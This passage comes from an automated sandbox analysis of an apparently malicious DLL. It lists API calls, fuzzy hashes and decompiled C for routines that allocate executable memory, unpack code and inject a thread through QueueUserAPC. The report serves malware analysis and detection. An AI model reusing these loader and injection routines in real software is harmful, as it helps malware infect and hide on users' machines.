Part of subcall function 6D6FD68A: HeapFree.KERNEL32(00000000,00000000,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?), ref: 6D6FD6A0
Part of subcall function 6D6FD68A: GetLastError.KERNEL32(?,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?,?), ref: 6D6FD6B2

_free.LIBCMT ref: 6D7057D9
_free.LIBCMT ref: 6D7057EB
_free.LIBCMT ref: 6D7057FD
_free.LIBCMT ref: 6D70580F

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5796469a0923497a9ad1f07d4696a4a73269ff46feafeba1a8bd810b0c3358a6
Instruction ID: e0884cbcc449103436624f84af3fe2bfcbc55fe5675f7b295a8fb2c34fb5df20
Opcode Fuzzy Hash: 5796469a0923497a9ad1f07d4696a4a73269ff46feafeba1a8bd810b0c3358a6
Instruction Fuzzy Hash: 86F04F7140D625D7CB20DE59E5C0C6AB3EABF45721B62082AF85CD7580CB30F8808EAA

Uniqueness

Uniqueness Score: -1.00%

Function 6D700B8B, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6D700D25

Strings

*?, xrefs: 6D700BCE

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: be0b59ba3c73918a4b6b6aaecc14d9a85920bed4f98c2dc0d16ea2f4ec30d012
Instruction ID: 361e04844e7f5fde425f99e7369ddcd8629c2c91771759e013b38b8ccbb52694
Opcode Fuzzy Hash: be0b59ba3c73918a4b6b6aaecc14d9a85920bed4f98c2dc0d16ea2f4ec30d012
Instruction Fuzzy Hash: B4615DB5D0421A9FCB14CFA9C9809EEFBF5FF48324B15816AE815E7380D771AE418B91

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F8E20, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 6D6F8E5F
__IsNonwritableInCurrentImage.LIBCMT ref: 6D6F8F13

Strings

yom, xrefs: 6D6F8F2C
csm, xrefs: 6D6F8EFD

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm$yom
API String ID: 3480331319-1127704295
Opcode ID: 651194274e51a16557ef013856b311155c9e09100ae3bdb2947819c30e9ae6c9
Instruction ID: d7218f7950f046afde2feaa81d96461c074a472d3ad999e7e69f426f4df99081
Opcode Fuzzy Hash: 651194274e51a16557ef013856b311155c9e09100ae3bdb2947819c30e9ae6c9
Instruction Fuzzy Hash: 4041D874A046199FCF04CF69C880AAEBBB6FF4D328F058195E9185B361C732DE16CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F9886, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 6D6F98AB
CatchIt.LIBVCRUNTIME ref: 6D6F9991

Strings

RCC, xrefs: 6D6F98C5
MOC, xrefs: 6D6F98BD

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 261a248eed8920bf5f6160fb3d0b9aba8a0fa25d36c593db2f156fb7804680ca
Instruction ID: 774bf0e80ec7ec7231b925bae5bc05a542279d58da3f5b3de66c55d5cee43fcf
Opcode Fuzzy Hash: 261a248eed8920bf5f6160fb3d0b9aba8a0fa25d36c593db2f156fb7804680ca
Instruction Fuzzy Hash: 20417B7190060AAFCF15CF94CC80AEE7BB6BF4C308F1A405AFA1867214D335A952DF50

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FC310, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,6D72947C,00000000,?,?,6D6FC2C2,?,?,6D6FC28A,?,?,?), ref: 6D6FC325
GetProcAddress.KERNEL32(00000000,6D729494), ref: 6D6FC338
FreeLibrary.KERNEL32(00000000,?,?,6D6FC2C2,?,?,6D6FC28A,?,?,?), ref: 6D6FC35B

Strings

yom, xrefs: 6D6FC349

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: yom
API String ID: 4061214504-2702784548
Opcode ID: d13205a3d9fd5c62618a646153635db770eabbded77398d018692d200d180f9b
Instruction ID: 6bf2be877491b0fc9ca659aba6afc36e21426f4b83a763a9853bf35cc695a2d1
Opcode Fuzzy Hash: d13205a3d9fd5c62618a646153635db770eabbded77398d018692d200d180f9b
Instruction Fuzzy Hash: CFF0E23250051AFBDF019B50CD88BEEBB75EB08351F084064E906A1090DB318F00DA91

Uniqueness

Uniqueness Score: -1.00%

Function 6D706CDD, Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6D706DAD
_free.LIBCMT ref: 6D706DD6
SetEndOfFile.KERNEL32(00000000,6D704603,00000000,6D6FFCD2,?,?,?,?,?,?,?,6D704603,6D6FFCD2,00000000), ref: 6D706E08
GetLastError.KERNEL32(?,?,?,?,?,?,?,6D704603,6D6FFCD2,00000000,?,?,?,?,00000000,?), ref: 6D706E24

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 301154891177030cfc1640efe869b969c0fd569212ebfcdeec009e7f34909974
Instruction ID: 734a409c293ce8a6992f1390e63f3c259f359cfd578b5d44a0a374c554c87fb9
Opcode Fuzzy Hash: 301154891177030cfc1640efe869b969c0fd569212ebfcdeec009e7f34909974
Instruction Fuzzy Hash: 2E41D6F2504606ABDF019BB8CE54B9D37F6AF49374F150125EA18A71D0EB31D68187E3

Uniqueness

Uniqueness Score: -1.00%

Function 6D700A9F, Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6D7010C1: _free.LIBCMT ref: 6D7010CF

Part of subcall function 6D701C1A: WideCharToMultiByte.KERNEL32(?,00000000,6D6FF667,00000000,00000001,6D6FF5F6,6D703EDB,?,6D6FF667,?,00000000,?,6D703C4A,0000FDE9,00000000,?), ref: 6D701CBC

GetLastError.KERNEL32 ref: 6D700B07
__dosmaperr.LIBCMT ref: 6D700B0E
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 6D700B4D
__dosmaperr.LIBCMT ref: 6D700B54

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: ca049b27176413c1f3b335ab44dd808309e55b8a3429ab18773c24e446a194ee
Instruction ID: 03ba21f3ab7e82531a221dc1a71076120afdce64efa3923e01bee48cb2e121bf
Opcode Fuzzy Hash: ca049b27176413c1f3b335ab44dd808309e55b8a3429ab18773c24e446a194ee
Instruction Fuzzy Hash: B12190F1608606AF9B108F668D80D6BB7EDEF4537C701852AE918D72C0DB34EC418BA6

Uniqueness

Uniqueness Score: -1.00%

Function 6D701E3D, Relevance: 6.1, APIs: 4, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4112ced032bef772cd38e5c8d9089ea16167bb86fc65c44531b11ecc74963e
Instruction ID: da3cef94366406150c35879e99d8ea1d202dc1459e0a37779b923ea354e3f603
Opcode Fuzzy Hash: fd4112ced032bef772cd38e5c8d9089ea16167bb86fc65c44531b11ecc74963e
Instruction Fuzzy Hash: D9210BF5A05222A7DB118A658D40B2E77E8AB027BDF154139EE55E71C1E730E901C9E3

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FD3AC, Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,6D703991,?,00000001,6D6FF667,?,6D703E50,00000001,?,?,?,6D6FF5F6,?,?), ref: 6D6FD3B1
_free.LIBCMT ref: 6D6FD40E
_free.LIBCMT ref: 6D6FD444
SetLastError.KERNEL32(00000000,6D7300D0,000000FF,?,6D703E50,00000001,?,?,?,6D6FF5F6,?,?,?,6D72EBD8,0000002C,6D6FF667), ref: 6D6FD44F

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 134ae4b7c51c3da3f6618a1bfee15d67e37a21cdee2878d00b4a917adbe8c858
Instruction ID: ddf1f74e73115aa4c5026592c51d7e32570fc0111cf4ededbc0716ab4ffa6fc2
Opcode Fuzzy Hash: 134ae4b7c51c3da3f6618a1bfee15d67e37a21cdee2878d00b4a917adbe8c858
Instruction Fuzzy Hash: 7911207320CB066AD7211A759D88B6B2167ABCB279F574234F728521C0DF61EC024932

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FD503, Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,00000001,6D730096,6D6FD67C,6D6FD707,6D730094,?,6D6F7E19,6D730096,6D730094,?,?,?,6D6F4DCE,00000001,6D730098), ref: 6D6FD508
_free.LIBCMT ref: 6D6FD565
_free.LIBCMT ref: 6D6FD59B
SetLastError.KERNEL32(00000000,6D7300D0,000000FF,?,6D6F7E19,6D730096,6D730094,?,?,?,6D6F4DCE,00000001,6D730098), ref: 6D6FD5A6

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 082dfa9ce53a63b7f139ac7c4b0846ec3400535e8ac2c2a1e2f6e447b10506e3
Instruction ID: 1786cfad34682ea95574c1ac61174d54f57922744874fc773d5c74c221b0a5b2
Opcode Fuzzy Hash: 082dfa9ce53a63b7f139ac7c4b0846ec3400535e8ac2c2a1e2f6e447b10506e3
Instruction Fuzzy Hash: 4B1104B7248B015ADB115A75CD44F1B116797CB27DF974134F61C931C0DF61DC064532

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FA243, Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,6D6FA304,?,?,6D73C7C4,00000000,?,6D6FA42F,00000004,6D7293A4,6D72939C,6D7293A4,00000000), ref: 6D6FA2D3

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: fe518b66f8f82aacf09fec1bcb8b69de487553f71c075a514e76e0059f05d862
Instruction ID: 03199f9cbfce2e72cd732fe5809859856a18b03a4e7cbf51f366d1ab7b7063ea
Opcode Fuzzy Hash: fe518b66f8f82aacf09fec1bcb8b69de487553f71c075a514e76e0059f05d862
Instruction Fuzzy Hash: A811A775B85D26ABDF12CA588C44F5973B5AF0A7B0F194220ED10A76C0E771EA0286D5

Uniqueness

Uniqueness Score: -1.00%

Function 6D707BEC, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,6D6FF667,00000000,?,?,6D706B80,?,00000001,?,00000001,?,6D703920,00000000,?,00000001), ref: 6D707C03
GetLastError.KERNEL32(?,6D706B80,?,00000001,?,00000001,?,6D703920,00000000,?,00000001,00000000,00000001,?,6D703E74,6D6FF5F6), ref: 6D707C0F

Part of subcall function 6D707BD5: CloseHandle.KERNEL32(6D730910,6D707C1F,?,6D706B80,?,00000001,?,00000001,?,6D703920,00000000,?,00000001,00000000,00000001), ref: 6D707BE5

___initconout.LIBCMT ref: 6D707C1F
WriteConsoleW.KERNEL32(?,?,6D6FF667,00000000,?,6D706B80,?,00000001,?,00000001,?,6D703920,00000000,?,00000001,00000000), ref: 6D707C34

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ConsoleWrite$CloseErrorHandleLast___initconout
String ID:
API String ID: 892448922-0
Opcode ID: 289453edd10cc34ca26500da30260f9d8c9b8a8333ea5811a74e145f5ac999ae
Instruction ID: abb9013b4e29d025c6dbe90bde1b1b5ea94d5d7c5ca750083c7e6b5fb29550ac
Opcode Fuzzy Hash: 289453edd10cc34ca26500da30260f9d8c9b8a8333ea5811a74e145f5ac999ae
Instruction Fuzzy Hash: 0FF0C776505119BBCF221F95CD08A9E7FB5FF4A371F054425FA18951E0DB3289209B92

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FC39E, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Windows\SysWOW64\regsvr32.exe, xrefs: 6D6FC3E1, 6D6FC3E8, 6D6FC41E

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID:
String ID: C:\Windows\SysWOW64\regsvr32.exe
API String ID: 0-3922119987
Opcode ID: 22ff84ca15988cb1dd24b4f0bceffee9a078dd7b83c58ea3bad8e1bd5d262f85
Instruction ID: f0f5b94b731964dfcbdb32d19e1956796661ba4789a34ea3ad7b4ecbae6bc853
Opcode Fuzzy Hash: 22ff84ca15988cb1dd24b4f0bceffee9a078dd7b83c58ea3bad8e1bd5d262f85
Instruction Fuzzy Hash: 7F410871A44A25ABCB12CF9DCCC09AEBBFAFF8D314F124066E505D7200D7709A02CB55

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 3612 Parent PID: 5384 rundll32.exeCOMMON

Executed Functions

Function 6D7323C3, Relevance: 13.8, APIs: 9, Instructions: 318memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000079C,00003000,00000040,0000079C,6D731E18), ref: 6D732480
VirtualAlloc.KERNEL32(00000000,000000C6,00003000,00000040,6D731E7C), ref: 6D7324B7
VirtualAlloc.KERNEL32(00000000,00013F51,00003000,00000040), ref: 6D732517
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6D73254D
VirtualProtect.KERNEL32(6D6B0000,00000000,00000004,6D7323A2), ref: 6D732652
VirtualProtect.KERNEL32(6D6B0000,00001000,00000004,6D7323A2), ref: 6D732679
VirtualProtect.KERNEL32(00000000,?,00000002,6D7323A2), ref: 6D732746
VirtualProtect.KERNEL32(00000000,?,00000002,6D7323A2,?), ref: 6D73279C
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6D7327B8

Memory Dump Source

Source File: 00000003.00000002.498365745.000000006D731000.00000040.00020000.sdmp, Offset: 6D731000, based on PE: false

Similarity

API ID: Virtual$Protect$Alloc$Free
String ID:
API String ID: 2574235972-0
Opcode ID: ff07580d84d1116ad52de69ff726b821f661c6dc75642e126b2e6fdedb51cdd0
Instruction ID: b88867980c7519d398aa25b5af033bc72ed18d69cec6036d4dde0f3129acffb5
Opcode Fuzzy Hash: ff07580d84d1116ad52de69ff726b821f661c6dc75642e126b2e6fdedb51cdd0
Instruction Fuzzy Hash: 3FD16A36200291AFDF11CF14C981F617BA6FF48714B1B41B5EE0AAF65BD731A850DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6D6B17A7, Relevance: 15.1, APIs: 10, Instructions: 103
threadsleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E6D6B17A7(intOrPtr _a4) {
				char _v28;
				struct _SYSTEMTIME _v44;
				char _v48;
				long _v52;
				long _v56;
				void* __edi;
				long _t21;
				int _t23;
				long _t26;
				long _t27;
				long _t31;
				intOrPtr _t39;
				intOrPtr _t44;
				signed int _t45;
				void* _t50;
				signed int _t54;
				void* _t56;
				intOrPtr* _t57;

				_t21 = E6D6B146C();
				_v52 = _t21;
				if(_t21 != 0) {
					L18:
					return _t21;
				} else {
					goto L1;
				}
				do {
					L1:
					GetSystemTime( &_v44);
					_t23 = SwitchToThread();
					asm("cdq");
					_t45 = 9;
					_t54 = _t23 + (_v44.wMilliseconds & 0x0000ffff) % _t45;
					_t26 = E6D6B15A3(0, _t54); // executed
					_v56 = _t26;
					Sleep(_t54 << 5); // executed
					_t21 = _v56;
				} while (_t21 == 0xc);
				if(_t21 != 0) {
					goto L18;
				}
				_t27 = E6D6B1C12(_t45);
				_v52 = _t27;
				if(_t27 != 0) {
					L16:
					_t21 = _v52;
					if(_t21 == 0xffffffff) {
						_t21 = GetLastError();
					}
					goto L18;
				}
				if(_a4 != 0) {
					L11:
					_push(0);
					_t56 = E6D6B1CA4(E6D6B16EC,  &_v28);
					if(_t56 == 0) {
						_v56 = GetLastError();
					} else {
						_t31 = WaitForSingleObject(_t56, 0xffffffff);
						_v56 = _t31;
						if(_t31 == 0) {
							GetExitCodeThread(_t56,  &_v56);
						}
						CloseHandle(_t56);
					}
					goto L16;
				}
				if(E6D6B1D7C(_t45,  &_v48) != 0) {
					 *0x6d6b41b8 = 0;
					goto L11;
				}
				_t44 = _v48;
				_t57 = __imp__GetLongPathNameW;
				_t50 =  *_t57(_t44, 0, 0);
				if(_t50 == 0) {
					L9:
					 *0x6d6b41b8 = _t44;
					goto L11;
				}
				_t15 = _t50 + 2; // 0x2
				_t39 = E6D6B1C8F(_t50 + _t15);
				 *0x6d6b41b8 = _t39;
				if(_t39 == 0) {
					goto L9;
				} else {
					 *_t57(_t44, _t39, _t50);
					E6D6B136A(_t44);
					goto L11;
				}
			}

APIs

Part of subcall function 6D6B146C: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,6D6B17B8,76D263F0,00000000), ref: 6D6B147B
Part of subcall function 6D6B146C: GetVersion.KERNEL32 ref: 6D6B148A
Part of subcall function 6D6B146C: GetCurrentProcessId.KERNEL32 ref: 6D6B1499
Part of subcall function 6D6B146C: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 6D6B14B2

GetSystemTime.KERNEL32(?,76D263F0,00000000), ref: 6D6B17CB
SwitchToThread.KERNEL32 ref: 6D6B17D1

Part of subcall function 6D6B15A3: VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004,?,?,00000000,00000000), ref: 6D6B15F9
Part of subcall function 6D6B15A3: memcpy.NTDLL(?,?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,?,6D6B17EC), ref: 6D6B168B
Part of subcall function 6D6B15A3: VirtualFree.KERNELBASE(?,00000000,00008000,?,?,00000000,00000000), ref: 6D6B16A6

Sleep.KERNELBASE(00000000,00000000), ref: 6D6B17F4
GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 6D6B183C
GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 6D6B185A
WaitForSingleObject.KERNEL32(00000000,000000FF,6D6B16EC,?,00000000), ref: 6D6B188C
GetExitCodeThread.KERNEL32(00000000,?), ref: 6D6B18A0
CloseHandle.KERNEL32(00000000), ref: 6D6B18A7
GetLastError.KERNEL32(6D6B16EC,?,00000000), ref: 6D6B18AF
GetLastError.KERNEL32 ref: 6D6B18C2

Memory Dump Source

Source File: 00000003.00000002.498095840.000000006D6B1000.00000020.00020000.sdmp, Offset: 6D6B0000, based on PE: true

Associated: 00000003.00000002.498083369.000000006D6B0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.498116609.000000006D6B3000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.498129081.000000006D6B5000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.498142503.000000006D6B6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastLongNamePathProcessThreadVirtual$AllocCloseCodeCreateCurrentEventExitFreeHandleObjectOpenSingleSleepSwitchSystemTimeVersionWaitmemcpy
String ID:
API String ID: 2280543912-0
Opcode ID: 4dd1cc7c11b6a06dace06b250d9ab9acece0e1a8fb35dc4887d76ff6599a37a4
Instruction ID: 597c494431988420ca49f4aefcd465fa801b9472089b61a2268def996990ff88
Opcode Fuzzy Hash: 4dd1cc7c11b6a06dace06b250d9ab9acece0e1a8fb35dc4887d76ff6599a37a4
Instruction Fuzzy Hash: 09319571908B16BBD711DF668C44A6F77FCFF8E754B110A2AF564C2140E738C5248BA6

Uniqueness

Uniqueness Score: -1.00%

Function 6D6B1E04, Relevance: 9.1, APIs: 6, Instructions: 71
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			_entry_(void* __ecx, intOrPtr _a4, char _a8, intOrPtr _a12) {
				long _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t9;
				void* _t10;
				void* _t18;
				void* _t23;
				void* _t36;

				_push(__ecx);
				_t9 = _a8;
				_v8 = 1;
				if(_t9 == 0) {
					_t10 = InterlockedDecrement(0x6d6b4188);
					__eflags = _t10;
					if(_t10 == 0) {
						__eflags =  *0x6d6b418c;
						if( *0x6d6b418c != 0) {
							_t36 = 0x2328;
							while(1) {
								SleepEx(0x64, 1);
								__eflags =  *0x6d6b4198;
								if( *0x6d6b4198 == 0) {
									break;
								}
								_t36 = _t36 - 0x64;
								__eflags = _t36;
								if(_t36 > 0) {
									continue;
								}
								break;
							}
							CloseHandle( *0x6d6b418c);
						}
						HeapDestroy( *0x6d6b4190);
					}
				} else {
					if(_t9 == 1 && InterlockedIncrement(0x6d6b4188) == 1) {
						_t18 = HeapCreate(0, 0x400000, 0); // executed
						_t41 = _t18;
						 *0x6d6b4190 = _t18;
						if(_t18 == 0) {
							L6:
							_v8 = 0;
						} else {
							 *0x6d6b41b0 = _a4;
							asm("lock xadd [eax], edi");
							_push( &_a8);
							_t23 = E6D6B1CA4(E6D6B1D32, E6D6B1EE0(_a12, 1, 0x6d6b4198, _t41));
							 *0x6d6b418c = _t23;
							if(_t23 == 0) {
								asm("lock xadd [esi], eax");
								goto L6;
							}
						}
					}
				}
				return _v8;
			}

APIs

InterlockedIncrement.KERNEL32(6D6B4188), ref: 6D6B1E26
HeapCreate.KERNELBASE(00000000,00400000,00000000), ref: 6D6B1E3B

Part of subcall function 6D6B1CA4: CreateThread.KERNELBASE(00000000,00000000,00000000,?,6D6B4198,6D6B1E74), ref: 6D6B1CBB
Part of subcall function 6D6B1CA4: QueueUserAPC.KERNELBASE(?,00000000,?), ref: 6D6B1CD0
Part of subcall function 6D6B1CA4: GetLastError.KERNEL32(00000000), ref: 6D6B1CDB
Part of subcall function 6D6B1CA4: TerminateThread.KERNEL32(00000000,00000000), ref: 6D6B1CE5
Part of subcall function 6D6B1CA4: CloseHandle.KERNEL32(00000000), ref: 6D6B1CEC
Part of subcall function 6D6B1CA4: SetLastError.KERNEL32(00000000), ref: 6D6B1CF5

InterlockedDecrement.KERNEL32(6D6B4188), ref: 6D6B1E8E
SleepEx.KERNEL32(00000064,00000001), ref: 6D6B1EA8
CloseHandle.KERNEL32 ref: 6D6B1EC4
HeapDestroy.KERNEL32 ref: 6D6B1ED0

Memory Dump Source

Source File: 00000003.00000002.498095840.000000006D6B1000.00000020.00020000.sdmp, Offset: 6D6B0000, based on PE: true

Associated: 00000003.00000002.498083369.000000006D6B0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.498116609.000000006D6B3000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.498129081.000000006D6B5000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.498142503.000000006D6B6000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateErrorHandleHeapInterlockedLastThread$DecrementDestroyIncrementQueueSleepTerminateUser
String ID:
API String ID: 2110400756-0
Opcode ID: 67524fb6403e048027a63ec6491d1e62db30ab30d07547684310341e0398ea0f
Instruction ID: 3cf6446176d9984b1b899efbc8466fadb8959da86c3de0fac77b08432d51232b
Opcode Fuzzy Hash: 67524fb6403e048027a63ec6491d1e62db30ab30d07547684310341e0398ea0f
Instruction Fuzzy Hash: AE216071E44206FBCF009FAACC84B7A7BB8FB9E3A87114129E545D3140E778A9328B50

Uniqueness

Uniqueness Score: -1.00%

Function 6D6B1CA4, Relevance: 9.0, APIs: 6, Instructions: 32
threadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D6B1CA4(long _a4, DWORD* _a12) {
				_Unknown_base(*)()* _v0;
				void* _t4;
				long _t6;
				long _t11;
				void* _t13;

				_t4 = CreateThread(0, 0, __imp__SleepEx,  *0x6d6b41cc, 0, _a12); // executed
				_t13 = _t4;
				if(_t13 != 0) {
					_t6 = QueueUserAPC(_v0, _t13, _a4); // executed
					if(_t6 == 0) {
						_t11 = GetLastError();
						TerminateThread(_t13, _t11);
						CloseHandle(_t13);
						_t13 = 0;
						SetLastError(_t11);
					}
				}
				return _t13;
			}

0x6d6b1cbb
0x6d6b1cc1
0x6d6b1cc5
0x6d6b1cd0
0x6d6b1cd8
0x6d6b1ce1
0x6d6b1ce5
0x6d6b1cec
0x6d6b1cf3
0x6d6b1cf5
0x6d6b1cfb
0x6d6b1cd8
0x6d6b1cff

APIs

CreateThread.KERNELBASE(00000000,00000000,00000000,?,6D6B4198,6D6B1E74), ref: 6D6B1CBB
QueueUserAPC.KERNELBASE(?,00000000,?), ref: 6D6B1CD0
GetLastError.KERNEL32(00000000), ref: 6D6B1CDB
TerminateThread.KERNEL32(00000000,00000000), ref: 6D6B1CE5
CloseHandle.KERNEL32(00000000), ref: 6D6B1CEC
SetLastError.KERNEL32(00000000), ref: 6D6B1CF5

Memory Dump Source

Source File: 00000003.00000002.498095840.000000006D6B1000.00000020.00020000.sdmp, Offset: 6D6B0000, based on PE: true

Associated: 00000003.00000002.498083369.000000006D6B0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.498116609.000000006D6B3000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.498129081.000000006D6B5000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.498142503.000000006D6B6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
String ID:
API String ID: 3832013932-0
Opcode ID: e635c2cd49d8877568db66b7fca74cb84dae0c50fc5a6496620aed82a697e259
Instruction ID: eb596850520512ceeb5326178085d20a43b54d3746f17e6a101b97777611105e
Opcode Fuzzy Hash: e635c2cd49d8877568db66b7fca74cb84dae0c50fc5a6496620aed82a697e259
Instruction Fuzzy Hash: 58F08C32304622BBDB121FA68C0CF6BBF78FF0A711F000504FA9991142C73588318BA5

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F74F1, Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 6D6F752E
dllmain_crt_dispatch.LIBCMT ref: 6D6F7545
dllmain_raw.LIBCMT ref: 6D6F758D
dllmain_crt_dispatch.LIBCMT ref: 6D6F75A0
dllmain_raw.LIBCMT ref: 6D6F75B3

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 45b587f83e2affab100332b12c8f2c7d5ccde82822387d63ea1a77f5d252db83
Instruction ID: d184751816f297049db220b4a17918428d1397ac18190293dc0bfc28b14a19c6
Opcode Fuzzy Hash: 45b587f83e2affab100332b12c8f2c7d5ccde82822387d63ea1a77f5d252db83
Instruction Fuzzy Hash: 7A2167B1D04959ABDB224F55DD40E7F3A7BEB8D794F014119F91957210DB308E438B90

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F733A, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6D6F7387

Part of subcall function 6D6F7BA4: RtlInitializeSListHead.NTDLL(6D73C780), ref: 6D6F7BA9

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6D6F73F1
___scrt_fastfail.LIBCMT ref: 6D6F743B

Strings

yom, xrefs: 6D6F7407

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: Initialize$HeadList___scrt_fastfail___scrt_is_nonwritable_in_current_image
String ID: yom
API String ID: 2097537958-2702784548
Opcode ID: f0436dc32f6a4b6a66fa5b3e516b8d8a9f7af00d131df41d9362c13685221dbc
Instruction ID: 171ca0641743fd58634212b78c4dbcc1867a50850f1823b8fe35aa9cc1965e52
Opcode Fuzzy Hash: f0436dc32f6a4b6a66fa5b3e516b8d8a9f7af00d131df41d9362c13685221dbc
Instruction Fuzzy Hash: 58210572E0CA079EDB005FB494047AC7BB39F1E32EF124069CA48672C1CB610147C66E

Uniqueness

Uniqueness Score: -1.00%

Function 6D6B15A3, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 96
memoryCOMMON
